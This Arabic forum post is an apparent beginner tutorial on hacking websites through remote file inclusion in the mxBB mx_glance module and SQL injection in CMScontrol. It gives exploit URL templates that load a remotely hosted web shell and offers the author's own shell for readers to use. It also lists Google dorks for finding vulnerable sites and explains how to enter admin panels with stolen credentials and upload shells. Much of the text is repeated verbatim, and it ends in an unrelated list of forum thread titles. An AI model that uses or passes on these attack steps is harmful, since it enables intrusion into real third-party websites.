الرئيسية
السلام عليكم ورحمة الله وبركاته
اليوم أقدم لكم الدرس الثانى حاولت أبسطه للمبتدئين
يتضمن شرح
استغلال 4 أنواع من الثغرات المهمة
- File Include
- Sql Injection
- Upload
- Local File Include
اليوم أقدم لكم الدرس الثانى حاولت أبسطه للمبتدئين
يتضمن شرح
استغلال 4 أنواع من الثغرات المهمة
- File Include
- Sql Injection
- Upload
- Local File Include
ما هي أنواع الثغرات ..!
الثغراات لاتعد ولا تحصى ودلك حسب أنواع الأنظمة مثلا نظام اللينكس أو ويندوز أو ماتريكس
وهنا سنتطرق لثلاث أنواع أساسية في نظام الـ php لانها هي المعممة وهي
1- File Include (ادراج ملف)
ثغرات Remote File Inclusion Vulnerability هي الثغرات التي تسمح لنا بأدراج اكواد PHP على السرفر بكل اختصااار . وبما ان php لغة ديناميكية كما هو معروف فممكن الحاق تغييرات
للسرفر عن طريق الاكواد هذه , اذن بمجرد تطبيق ثغرة Remote File Inclusion يكمننا اختراق السرفر (الحاق تغييرات للسرفر) .
ممكن ايجاد هذه الثغرات في مواقع security المتعددة و سوف اشرح لكم 1 منهم وهو القلق
[size=21]تمام الان نشوف الثغرة
mxBB Module mx_glance 2.3.3 Remote File Include Vulnerability
طبعا هذة اسم السكربت المصاب ونوع الثغرة
الثغراات لاتعد ولا تحصى ودلك حسب أنواع الأنظمة مثلا نظام اللينكس أو ويندوز أو ماتريكس
وهنا سنتطرق لثلاث أنواع أساسية في نظام الـ php لانها هي المعممة وهي
1- File Include (ادراج ملف)
ثغرات Remote File Inclusion Vulnerability هي الثغرات التي تسمح لنا بأدراج اكواد PHP على السرفر بكل اختصااار . وبما ان php لغة ديناميكية كما هو معروف فممكن الحاق تغييرات
للسرفر عن طريق الاكواد هذه , اذن بمجرد تطبيق ثغرة Remote File Inclusion يكمننا اختراق السرفر (الحاق تغييرات للسرفر) .
ممكن ايجاد هذه الثغرات في مواقع security المتعددة و سوف اشرح لكم 1 منهم وهو القلق
[size=21]تمام الان نشوف الثغرة
mxBB Module mx_glance 2.3.3 Remote File Include Vulnerability
طبعا هذة اسم السكربت المصاب ونوع الثغرة
[size=21]Discovered by bd0rk || SOH-Crew
[ندعوك للتسجيل في المنتدى أو التعريف بنفسك لمعاينة هذا الرابط]
The german Coding and IT-Security Ressource
وهذة المكتشف وموقعه وبيانات عنه طبعا مابلزمنا
Vendor: [ندعوك للتسجيل في المنتدى أو التعريف بنفسك لمعاينة هذا الرابط]
Download: [ندعوك للتسجيل في المنتدى أو التعريف بنفسك لمعاينة هذا الرابط]
طبعا هنا الموقع الرسمى لسكربت
وصفحة تحميل السكربت لو بدك تنزله وتفحصه تتاكد
Vulnerable Code in contrib/mx_glance_sdesc.php line 89
مساء الخطأ فى أى مجلد وأى ملف
include_once($mx_root_path . 'includes/mx_functions_tools.'.$phpEx);
[size=21][b]الخطأ البرمجى الموجود
[size=21][b]الان نيجى للمهم كثير
[+]Exploit: /[p4th]/contrib/mx_glance_sdesc.php?mx_root_path=[ShellCode][ندعوك للتسجيل في المنتدى أو التعريف بنفسك لمعاينة هذا الرابط]]
أنت لمن تشوف ثغرة دور على المهم الى هوى
Exploit
الى هوى الأستغلال
الان نيجى لاستغلال نزبطه اكثر
/[p4th]/contrib/mx_glance_sdesc.php?mx_root_path=[ShellCode][ندعوك للتسجيل في المنتدى أو التعريف بنفسك لمعاينة هذا الرابط]
تبدله برابط الموقع المصاب
/[p4th]/contrib/mx_glance_sdesc.php?mx_root_path=[ShellCode][p4th]
وهذة تبدله بمجلد السكربت المرفوع
/[p4th]/contrib/mx_glance_sdesc.php?mx_root_path=[ShellCode]contrib/mx_glance_sdesc.php?mx_root_path=
وهذا الاستغلال
/[p4th]/contrib/mx_glance_sdesc.php?mx_root_path=[ShellCode][ShellCode]
وهذة نشيله ونحط رابط شل بصيغة txt
مثال انا رافع شل
بامكانكم تستخدموه
[ندعوك للتسجيل في المنتدى أو التعريف بنفسك لمعاينة هذا الرابط]?
يعنى يصير الاستغلال جاهز
[ندعوك للتسجيل في المنتدى أو التعريف بنفسك لمعاينة هذا الرابط][ندعوك للتسجيل في المنتدى أو التعريف بنفسك لمعاينة هذا الرابط]?
ولا ننسى أخر الاستغلال نضع علامة ؟
الا نيجى للبحث عن السكربت
ممكن تكتب اسم السكربت بجوجل مع أضافة
powered by ااسم السكربت
powered by mxBB Module
او نحط اخر شى من الاستغلال مع اضافة
allinurl:
allinurl: "mx_glance_sdesc.php?mx_root_path"
الان نشوف معى موقع مصاب حطيت الاستغلال لهوى شبك معى الشل
طبعا زى مانتوا عارفين
Software: CMScontrol (Content Management Portal Solutions) Sql Injection
أسم السكربت ونوع الثغرة
Version: 7.*
الاصدار السكربت المصاب
Vulnerability: Remote Sql Injection
نوع الثغرة
Google Dork: "index.php?id_menu=" CMScontrol
وهذا دورك البحث وهوى مهم جدا جدا
Off. site: [ندعوك للتسجيل في المنتدى أو التعريف بنفسك لمعاينة هذا الرابط]
موقع السكربت
#=Author========================================== ====#
# Author: ph1l1ster #
# Date: 20.09.2009 #
# Contact: icq: 612672 | email: #
معلومات عن المكتشف
Exploit: طبعا هاى تدل على الاستغلال الى جمبها بكون الاستغلال على سريع
[ندعوك للتسجيل في المنتدى أو التعريف بنفسك لمعاينة هذا الرابط]
Live demo: [ندعوك للتسجيل في المنتدى أو التعريف بنفسك لمعاينة هذا الرابط]
وهذا موقع مصاب وضعه المكتشف
Login page: [ندعوك للتسجيل في المنتدى أو التعريف بنفسك لمعاينة هذا الرابط]
[b]وهذا مسار اللوحة لل السكربت يعنى لو وجدت موقع مصاب وطلعت اليوزر والباس تبعه تقدر تفوت اللوحة من خل هل مسار]
وترفع شل منها بإذن الله
[ندعوك للتسجيل في المنتدى أو التعريف بنفسك لمعاينة هذا الرابط]
The german Coding and IT-Security Ressource
وهذة المكتشف وموقعه وبيانات عنه طبعا مابلزمنا
Vendor: [ندعوك للتسجيل في المنتدى أو التعريف بنفسك لمعاينة هذا الرابط]
Download: [ندعوك للتسجيل في المنتدى أو التعريف بنفسك لمعاينة هذا الرابط]
طبعا هنا الموقع الرسمى لسكربت
وصفحة تحميل السكربت لو بدك تنزله وتفحصه تتاكد
Vulnerable Code in contrib/mx_glance_sdesc.php line 89
مساء الخطأ فى أى مجلد وأى ملف
include_once($mx_root_path . 'includes/mx_functions_tools.'.$phpEx);
[size=21][b]الخطأ البرمجى الموجود
[size=21][b]الان نيجى للمهم كثير
[+]Exploit: /[p4th]/contrib/mx_glance_sdesc.php?mx_root_path=[ShellCode][ندعوك للتسجيل في المنتدى أو التعريف بنفسك لمعاينة هذا الرابط]]
أنت لمن تشوف ثغرة دور على المهم الى هوى
Exploit
الى هوى الأستغلال
الان نيجى لاستغلال نزبطه اكثر
/[p4th]/contrib/mx_glance_sdesc.php?mx_root_path=[ShellCode][ندعوك للتسجيل في المنتدى أو التعريف بنفسك لمعاينة هذا الرابط]
تبدله برابط الموقع المصاب
/[p4th]/contrib/mx_glance_sdesc.php?mx_root_path=[ShellCode][p4th]
وهذة تبدله بمجلد السكربت المرفوع
/[p4th]/contrib/mx_glance_sdesc.php?mx_root_path=[ShellCode]contrib/mx_glance_sdesc.php?mx_root_path=
وهذا الاستغلال
/[p4th]/contrib/mx_glance_sdesc.php?mx_root_path=[ShellCode][ShellCode]
وهذة نشيله ونحط رابط شل بصيغة txt
مثال انا رافع شل
بامكانكم تستخدموه
[ندعوك للتسجيل في المنتدى أو التعريف بنفسك لمعاينة هذا الرابط]?
يعنى يصير الاستغلال جاهز
[ندعوك للتسجيل في المنتدى أو التعريف بنفسك لمعاينة هذا الرابط][ندعوك للتسجيل في المنتدى أو التعريف بنفسك لمعاينة هذا الرابط]?
ولا ننسى أخر الاستغلال نضع علامة ؟
الا نيجى للبحث عن السكربت
ممكن تكتب اسم السكربت بجوجل مع أضافة
powered by ااسم السكربت
powered by mxBB Module
او نحط اخر شى من الاستغلال مع اضافة
allinurl:
allinurl: "mx_glance_sdesc.php?mx_root_path"
الان نشوف معى موقع مصاب حطيت الاستغلال لهوى شبك معى الشل
طبعا زى مانتوا عارفين
Software: CMScontrol (Content Management Portal Solutions) Sql Injection
أسم السكربت ونوع الثغرة
Version: 7.*
الاصدار السكربت المصاب
Vulnerability: Remote Sql Injection
نوع الثغرة
Google Dork: "index.php?id_menu=" CMScontrol
وهذا دورك البحث وهوى مهم جدا جدا
Off. site: [ندعوك للتسجيل في المنتدى أو التعريف بنفسك لمعاينة هذا الرابط]
موقع السكربت
#=Author========================================== ====#
# Author: ph1l1ster #
# Date: 20.09.2009 #
# Contact: icq: 612672 | email: #
معلومات عن المكتشف
Exploit: طبعا هاى تدل على الاستغلال الى جمبها بكون الاستغلال على سريع
[ندعوك للتسجيل في المنتدى أو التعريف بنفسك لمعاينة هذا الرابط]
Live demo: [ندعوك للتسجيل في المنتدى أو التعريف بنفسك لمعاينة هذا الرابط]
وهذا موقع مصاب وضعه المكتشف
Login page: [ندعوك للتسجيل في المنتدى أو التعريف بنفسك لمعاينة هذا الرابط]
[b]وهذا مسار اللوحة لل السكربت يعنى لو وجدت موقع مصاب وطلعت اليوزر والباس تبعه تقدر تفوت اللوحة من خل هل مسار]
وترفع شل منها بإذن الله
» أنا بهذه اللحظة
» على الرصيف
» بوابة الجحيم
» الكاتب علي شريف روان في حوار لـ"الديوان"
» فردوس مليندا المفقود.
» بدري فركوح
» ليلى العفيفة
» مجموعة مؤلفات محمد حسنين هيكل
» ألفية العياط فى النحو
» ديوان إنشق القمر
» ديوان بومبا والاقزام
» بريد الموتى
» ديوان دحش قرم ودانك
» ديوان حادى يابادى يا كرنب زبادى
» من عجائب الأرقام
» ابن الرومي
» قصيدة حبك وقلبى
» الأعشى الأكبر
» مساء الخير
» مي زيادة
» لبيد بن ربيعة
» زهير بن أبي سلمى
» جبران خليل جبران
» إيايا أبو ماضي
» حمل برنامح تعلم اللغة الانجليزيه على جهازك المحمول
» أوبريت ملحمة تحتمس الرابع ولوحة الاحلام
» سيف الفراق
» ديوان اعشقك جدا
» ديوان الحديث مع النفس البشرية
» عمرو بن كلثوم
» طرفة بن العبد
» ديوان رصاصة فى قلب الجياد العجوزة
» شهداء 6 أيار 1916
» الياس قنصل
» زكي قنصل
» فضائية الجزيرة إحدى أسلحة قطر
» إضافة رائعة للفايرفوكس ( ميزة AutoPager ) تجعل كل المواضيع في صفحة واحدة
» محمود درويش مؤلفات ودواوين
» حاتم الطائي
» حكمة اليوم
» امرؤ القيس
» محتويات مكتبة الروايات
» تقديم ديوان رصاصة فى قلب الجياد العجوزة محمود العياط
» الحارث بن حلزة
» مجموعة من الاغاني النادرة لكاظم الساهر تجدونها عند السراب فقط لا غير
» رخصة زواج للمؤجل اداريا
» الف ليلة وليلة
» عنترة العبسي
» معجم المصطلحات النفسية انكليزي فرنسي عربي